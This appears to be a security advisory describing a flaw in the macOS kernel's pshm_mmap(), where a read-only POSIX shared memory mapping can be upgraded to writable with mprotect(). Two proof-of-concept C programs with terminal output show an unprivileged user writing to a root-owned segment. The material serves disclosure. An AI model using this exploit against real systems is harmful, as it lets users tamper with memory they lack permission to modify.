1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
When the mmap() syscall is invoked on a POSIX shared memory segment (DTYPE_PSXSHM), pshm_mmap() maps the shared memory segment's pages into the address space of the calling process. It does this with the following code: int prot = uap->prot; [...] if ((prot & PROT_WRITE) && ((fp->f_flag & FWRITE) == 0)) { return(EPERM); } [...] kret = vm_map_enter_mem_object( user_map, &user_addr, map_size, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, vmk_flags, VM_KERN_MEMORY_NONE, pshmobj->pshmo_memobject, file_pos - map_pos, docow, prot, VM_PROT_DEFAULT, VM_INHERIT_SHARE); vm_map_enter_mem_object() has the following declaration: /* Enter a mapping of a memory object */ extern kern_return_tvm_map_enter_mem_object( vm_map_tmap, vm_map_offset_t *address, vm_map_size_t size, vm_map_offset_t mask, int flags, vm_map_kernel_flags_t vmk_flags, vm_tag_ttag, ipc_port_tport, vm_object_offset_toffset, boolean_t needs_copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_tinheritance); This means that <code>cur_protection</code> (the initial protection flags for the new memory object) will be <code>prot</code>, which contains the requested protection flags, checked against the mode of the open file to ensure that a read-only file descriptor can only be used to create a readonly mapping. However, <code>max_protection</code> is always VM_PROT_DEFAULT</code>, which is defined as <code>VM_PROT_READ|VM_PROT_WRITE</code>. Therefore, an attacker with readonly access to a POSIX shared memory segment can first use mmap() to create a readonly shared mapping of it, then use mprotect() - which is limited by <code>max_protection</code> - to gain write access. To reproduce: In terminal 1, as root: ========================================= bash-3.2# cat > create.c #include <sys/mman.h> #include <fcntl.h> #include <err.h> #include <unistd.h> #include <stdio.h> int main(void) { shm_unlink("/jh_test"); int fd = shm_open("/jh_test", O_RDWR|O_CREAT|O_EXCL, 0644); if (fd == -1) err(1, "shm_open"); if (ftruncate(fd, 0x1000)) err(1, "trunc"); char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) err(1, "mmap"); printf("map[0] = 0x%hhx\n", (unsigned char)map[0]); printf("press enter to continue\n"); getchar(); printf("map[0] = 0x%hhx\n", (unsigned char)map[0]); } bash-3.2# cc -o create create.c && ./create map[0] = 0x0 press enter to continue ========================================= In terminal 2, as user: ========================================= Projects-Mac-mini:posix_shm projectzero$ cat > open.c #include <sys/mman.h> #include <fcntl.h> #include <err.h> #include <stdio.h> int main(void) { int fd = shm_open("/jh_test", O_RDWR); if (fd == -1) perror("open RW"); fd = shm_open("/jh_test", O_RDONLY); if (fd == -1) err(1, "open RO"); char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) perror("map RW"); map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0); if (map == MAP_FAILED) err(1, "map RO"); if (mprotect(map, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect"); map[0] = 0x42; } Projects-Mac-mini:posix_shm projectzero$ cc -o open open.c && ./open open RW: Permission denied map RW: Operation not permitted Projects-Mac-mini:posix_shm projectzero$ ========================================= Then, in terminal 1, press enter to continue: ========================================= map[0] = 0x42 bash-3.2# ========================================= This demonstrates that the user was able to write to a root-owned POSIX shared memory segment with mode 0644. |